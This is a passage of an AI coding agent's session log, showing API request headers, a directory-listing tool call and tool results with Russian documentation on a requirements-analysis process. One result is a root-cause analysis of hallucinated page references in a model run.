\u0441\u0442\u0430\u0442\u0443\u0441\u0435 `draft`, \u043e\u0431\u0430 \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u0438\u0441\u044c \u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443.\\n\\n**\u0427\u0442\u043e \u043a\u0435\u0439\u0441 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442.** \u041d\u043e\u0440\u043c\u0430, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0432\u0438\u0434\u0435 \u0442\u0435\u043a\u0441\u0442\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430,\\n3. \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043f\u043e\u043c\u0435\u0442\u0438\u0442\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u043e\u0439 \u0438 \u0432\u044b\u043d\u0435\u0441\u0442\u0438 \u0432 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n4. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043d\u0435\u043f\u0443\u0441\u0442\u044b\u0445 \u044f\u0447\u0435\u0435\u043a \u00ab\u0434\u0435\u043b\u044c\u0442\u0430\u00bb.\\n\\n## \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438\\n\u041a\u0430\u0436\u0434\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u043c\u0430\u0442\u0440\u0438\u0446\u044b \u0438\u043c\u0435\u0435\u0442 \u043d\u0435\u043f\u0443\u0441\u0442\u043e\u0439 SSOT; \u043d\u0438 \u043e\u0434\u043d\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435 \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0443 \u0441 \u043f\u0443\u0441\u0442\u043e\u0439 \u0434\u0435\u043b\u044c\u0442\u043e\u0439.\\n\\n## \u0413\u0435\u0439\u0442\\n\u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439, fail-closed: \u043f\u0443\u0441\u0442\u043e\u0439 SSOT \u2014 \u043e\u0442\u043a\u0430\u0437, \u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435.\\n\u0418\u0441\u0447\u0435\u0440\u043f\u0430\u043d\u0438\u0435 retry-limit \u2014 \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f \u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443, \u043d\u0435 \u043e\u0442\u043a\u0430\u0437.\\n```\\n\\n**\u041d\u043e\u0440\u043c\u0430 \u043f\u0440\u043e\u0446\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u0430.** \u0412 \u0431\u043b\u043e\u043a\u0435 `resolved-from` \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e, \u0438\u0437\\n\u043a\u0430\u043a\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0441\u043b\u043e\u0451\u0432 \u0441\u043e\u0431\u0440\u0430\u043d \u043d\u0430\u0432\u044b\u043a, \u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0438\u0445 \u0447\u0438\u0442\u0430\u0442\u044c: \u044d\u0442\u043e\\n\u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e `I-1` (\u0441\u0430\u043c\u043e\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c) \u0438 `I-3` (\u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c).\",\n[2026-09-29T07:46:21.310Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:21.310Z] [INFO]       }\n[2026-09-29T07:46:21.310Z] [INFO]     ]\n[2026-09-29T07:46:21.310Z] [INFO]   },\n[2026-09-29T07:46:21.310Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:21.310Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:21.310Z] [INFO]   \"uuid\": \"da040b61-6fca-4f84-b4d0-daa05035b056\",\n[2026-09-29T07:46:21.310Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:20.009Z\",\n[2026-09-29T07:46:21.310Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:21.310Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:21.310Z] [INFO] }\n[2026-09-29T07:46:21.321Z] [STDOUT] [log_347d5d] sending request {\n[2026-09-29T07:46:21.326Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:21.333Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:21.338Z] [STDOUT]   options: {\n[2026-09-29T07:46:21.344Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:21.346Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:21.352Z] [STDOUT]     body: {\n[2026-09-29T07:46:21.356Z] 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},\n[2026-09-29T07:46:21.626Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:21.626Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:21.626Z] [INFO]   \"uuid\": \"d63de8f5-4deb-4400-a3a0-7d36ba665375\",\n[2026-09-29T07:46:21.626Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:20.782Z\",\n[2026-09-29T07:46:21.626Z] [INFO]   \"request_id\": \"req_011CfXMphwVUYQVZ2K7oC1NB\",\n[2026-09-29T07:46:21.626Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:46:21.626Z] [INFO]     \"toolu_015k4j5wuZ5fSfuuTE3gGzLc\": {\n[2026-09-29T07:46:21.626Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; sed -n 1,200p tools/validate-file-naming.sh | head -120; ls projects/ba-ai-process projects/ba-ai-process/docs projects/ba-ai-process/docs/*/ | head -60; ls /tmp/research-notes/ 2>/dev/null\",\n[2026-09-29T07:46:21.626Z] [INFO]       \"description\": \"Check naming validator and docs layout\"\n[2026-09-29T07:46:21.626Z] [INFO]     }\n[2026-09-29T07:46:21.626Z] [INFO]   }\n[2026-09-29T07:46:21.626Z] [INFO] }\n[2026-09-29T07:46:21.634Z] [STDOUT] [log_347d5d, request-id: \"req_011CfXMpqEnHPJUCRHAnPwkz\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 961ms\n[2026-09-29T07:46:21.638Z] [STDOUT] [log_347d5d] response start {\n[2026-09-29T07:46:21.642Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:21.645Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:21.648Z] [STDOUT]   headers: {\n[2026-09-29T07:46:21.650Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:21.653Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:21.657Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:21.661Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:21.664Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:21.666Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:21.668Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:21.672Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:21.674Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:21.677Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:21.681Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:21.684Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:21.688Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:21.693Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:21.698Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:21.703Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:21.706Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:21.711Z] [STDOUT]     \"cf-ray\": \"a4295f9b6824dbb5-FRA\",\n[2026-09-29T07:46:21.716Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:21.720Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:21.724Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:21.727Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:21.731Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:21 GMT\",\n[2026-09-29T07:46:21.736Z] [STDOUT]     \"request-id\": \"req_011CfXMpqEnHPJUCRHAnPwkz\",\n[2026-09-29T07:46:21.740Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:21.746Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:21.753Z] [STDOUT]     traceresponse: \"00-fa614fcf96196883e8cbd3e1cff5e92c-1a801fd035a58eb3-01\",\n[2026-09-29T07:46:21.756Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:21.760Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:21.762Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:21.765Z] [STDOUT]   },\n[2026-09-29T07:46:21.768Z] [STDOUT]   durationMs: 961,\n[2026-09-29T07:46:21.773Z] [STDOUT] }\n[2026-09-29T07:46:21.775Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:21.779Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:21 GMT\",\n[2026-09-29T07:46:21.781Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:21.784Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:21.787Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:21.793Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:21.796Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:21.800Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:21.803Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:21.807Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:21.810Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:21.814Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:21.818Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:21.822Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:21.826Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:21.833Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:21.840Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:21.848Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:21.850Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:21.858Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:21.861Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:21.864Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:21.866Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:21.869Z] [STDOUT]   \"request-id\": \"req_011CfXMpqEnHPJUCRHAnPwkz\",\n[2026-09-29T07:46:21.873Z] [STDOUT]   \"traceresponse\": \"00-fa614fcf96196883e8cbd3e1cff5e92c-1a801fd035a58eb3-01\",\n[2026-09-29T07:46:21.876Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:21.879Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:21.882Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:21.883Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:21.885Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:21.888Z] [STDOUT]   \"cf-ray\": \"a4295f9b6824dbb5-FRA\",\n[2026-09-29T07:46:21.890Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:21.894Z] [STDOUT] [log_347d5d] response parsed {\n[2026-09-29T07:46:21.898Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:21.902Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:21.906Z] [STDOUT]   body: X {\n[2026-09-29T07:46:21.908Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:21.910Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:21.912Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:21.914Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:21.918Z] [STDOUT]     },\n[2026-09-29T07:46:21.924Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:21.928Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:21.932Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:21.938Z] [STDOUT]   },\n[2026-09-29T07:46:21.944Z] [STDOUT]   durationMs: 962,\n[2026-09-29T07:46:21.950Z] [STDOUT] }\n[2026-09-29T07:46:21.959Z] [INFO] {\n[2026-09-29T07:46:21.959Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:21.959Z] [INFO]   \"message\": {\n[2026-09-29T07:46:21.959Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:21.959Z] [INFO]     \"content\": [\n[2026-09-29T07:46:21.959Z] [INFO]       {\n[2026-09-29T07:46:21.959Z] [INFO]         \"tool_use_id\": \"toolu_01CUtbytQyWNchNHm4tEqsW7\",\n[2026-09-29T07:46:21.959Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:21.959Z] [INFO]         \"content\": \"---\\nstatus: complete\\nupdated: 2026-09-01\\nai-generated: true\\ntype: analysis\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts/issues/353\\\"\\nrelated_runs:\\n  - RUN-0065\\n  - RUN-0066\\n---\\n\\n# A/B-RCA RUN-0065 vs RUN-0066 \u0434\u043b\u044f task-1099\\n\\n## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u041f\u0440\u043e\u0432\u0430\u043b RUN-0065 \u0432\u044b\u0437\u0432\u0430\u043d \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043e\u043a\u043d\u0430 \u0438 \u043d\u0435 \u0434\u0440\u0443\u0433\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u0411\u0417. \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\\n\u0441\u0431\u043e\u044f \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430\u0445 \u0438 raw trace: gpt-5.6-sol \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0430 \u043d\u043e\u043c\u0435\u0440\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0432\\n\u0440\u0443\u0447\u043d\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c `EVIDENCE`, \u0437\u0430\u0442\u0435\u043c \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440 \u0442\u0438\u0440\u0430\u0436\u0438\u0440\u043e\u0432\u0430\u043b \u043e\u0434\u043d\u0443 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u043e\\n\u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 \u043f\u0440\u0430\u0432\u0438\u043b\u0443. \u041f\u043e\u0437\u0434\u043d\u044f\u044f \u0432\u044b\u0431\u043e\u0440\u043e\u0447\u043d\u0430\u044f \u0441\u0432\u0435\u0440\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0430\u0441\u0442\u044c \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u043d\u043e \u043d\u0435\\n`record`, \u0430 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u043f\u0440\u0430\u0432\u0438\u043b \u043d\u0430\u043f\u0440\u0430\u0432\u0438\u043b \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u00ab\u0410\u0432\u0438\u0442\u043e \u0420\u0430\u0431\u043e\u0442\u0430\u00bb \u0432 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0439\\n\u043a\u043b\u0430\u0441\u0441 `address`. \u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0445\u043e\u0436\u0435\u0439 \u043d\u0430 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0438, \u043d\u043e \u043d\u0435\\n\u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b \u0435\u0451 \u0441 frontmatter, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438\u043d\u044f\u043b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442.\\n\\n\u041d\u0430 \u0432\u044b\u0431\u043e\u0440\u043a\u0435 \u0438\u0437 **65 \u0441\u0442\u0440\u043e\u043a** RUN-0065 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c\u0438 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430\u043c\u0438 \u0432\\n47.7% \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0438 \u0434\u0430\u043b \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e\\n\u043f\u0430\u0433\u0438\u043d\u0430\u0446\u0438\u044e (\u0394 > 2) \u0432 43.1% \u0441\u0442\u0440\u043e\u043a. RUN-0066\\n\u0434\u0430\u043b 100.0% \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439 \u0438 0 \u0442\u0430\u043a\u0438\u0445 \u0441\u0434\u0432\u0438\u0433\u043e\u0432.\\n\\n## \u0414\u0430\u043d\u043d\u044b\u0435 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c\\n\\n- RUN-0065 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0438\u043c\u0435\u043d\u043d\u043e \u0438\u0437 commit `acb6c7bc`; blob \u043e\u0442\u0447\u0451\u0442\u0430:\\n  `36c3283c848107fa8922f987e65aec79ea0ac1d5`.\\n  \u0414\u043b\u044f shallow CI \u0435\u0433\u043e \u0442\u043e\u0447\u043d\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0430 \u043a\u0430\u043a\\n  [`data/2026-09-01-run-0065-acb6c7bc.fixture`](data/2026-09-01-run-0065-acb6c7bc.fixture)\\n  (SHA-256 `25181d67b00d70fea1c7d1168c55ad57f7ae4fee4a5be3554fbca8db22349ab0`);\\n  \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438 SHA-256, \u0438 git blob SHA-1.\\n- RUN-0066 \u0432\u0437\u044f\u0442 \u0438\u0437 commit `e0f4ba55`; blob \u043e\u0442\u0447\u0451\u0442\u0430:\\n  `845fd2887b99ef2ddf0e6a44d99921d62f96306a`.\\n- \u041f\u043e\u043b\u043d\u0430\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0432\u044b\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\\n  [`data/2026-09-01-run-0065-vs-0066-sample.json`](data/2026-09-01-run-0065-vs-0066-sample.json).\\n- \u0412\u044b\u0431\u043e\u0440\u043a\u0430 \u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0442\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439\\n  `python3 experiments/issue_353/analyze_runs.py`.\\n- \u0422\u0440\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f post-generation \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430 commit `acb6c7bc` \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\\n  \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0442\u0441\u044f \u0431\u0435\u0437 \u043d\u043e\u0432\u043e\u0433\u043e LLM-\u0432\u044b\u0437\u043e\u0432\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439\\n  `python3 experiments/issue_353/replay_acb_generator.py`. \u0422\u043e\u0447\u043d\u044b\u0439 replay\\n  \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e LLM-\u0432\u044b\u0437\u043e\u0432\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d: \u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445 \u043d\u0435\u0442 \u043f\u043e\u043b\u043d\u043e\u0433\u043e system prompt \u0438\\n  \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u043c\u043e\u0434\u0435\u043b\u0438; \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0443\u0436\u0435 \u0437\u0430\u043a\u043e\u043c\u043c\u0438\u0447\u0435\u043d\u043d\u0443\u044e \u043b\u043e\u0433\u0438\u043a\u0443 \u043f\u0440\u0430\u0432\u0438\u043b.\\n- \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0431\u0435\u0437\u043b\u0438\u0447\u0435\u043d\u043d\u044b\u0439 trace \u0438 \u0435\u0433\u043e provenance \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0432\\n  [`evidence/README.md`](evidence/README.md).\\n\\nRUN-0066 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u044d\u0442\u0430\u043b\u043e\u043d \u043f\u043e \u043f\u0440\u044f\u043c\u043e\u043c\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e issue #353 \u0438 \u043f\u043e\\n\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 >95%, \u0430 \u043d\u0435 \u043a\u0430\u043a \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u0430\u044f \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u0430\u044f \u0438\u0441\u0442\u0438\u043d\u0430.\\n`Accuracy_verdict` \u2014 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u0441 \u0435\u0433\u043e \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c. `Accuracy_page` \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u0440\u0435\u0434\u0438\\n\u0441\u0442\u0440\u043e\u043a, \u0433\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u044d\u043c\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443: \u0432\u0441\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0441\u0442\u0440\u043e\u043a\u0438\\n\u0434\u043e\u043b\u0436\u043d\u044b \u0441\u043e\u0432\u043f\u0430\u0441\u0442\u044c \u0441 frontmatter \u0441 \u0434\u043e\u043f\u0443\u0441\u043a\u043e\u043c \u22642. `Hallucination_rate` \u2014 \u0434\u043e\u043b\u044f \u0432\u0441\u0435\u0445 65\\n\u0441\u0442\u0440\u043e\u043a, \u0433\u0434\u0435 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u0430 \u0441\u0441\u044b\u043b\u043a\u0430 \u0438\u043c\u0435\u0435\u0442 \u0394 >2. `Decomposition_quality` \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\\n\u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0443\u044e \u0431\u0438\u043d\u0430\u0440\u043d\u0443\u044e \u0448\u043a\u0430\u043b\u0443 \u0438 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442 **\u044d\u043c\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f**, \u0430 \u043d\u0435 \u0441\u0441\u044b\u043b\u043a\u0438.\\n\u0418\u0437 evidence-\u044f\u0447\u0435\u0439\u043a\u0438 \u0432\u044b\u0434\u0435\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f/clauses; \u043a\u0430\u0436\u0434\u043e\u043c\u0443 \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u0442\u0443\u0441\\n`\u0414\u0430/\u041d\u0435\u0442` \u0438\u0437 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 \u0438 \u044f\u0432\u043d\u044b\u0445 \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 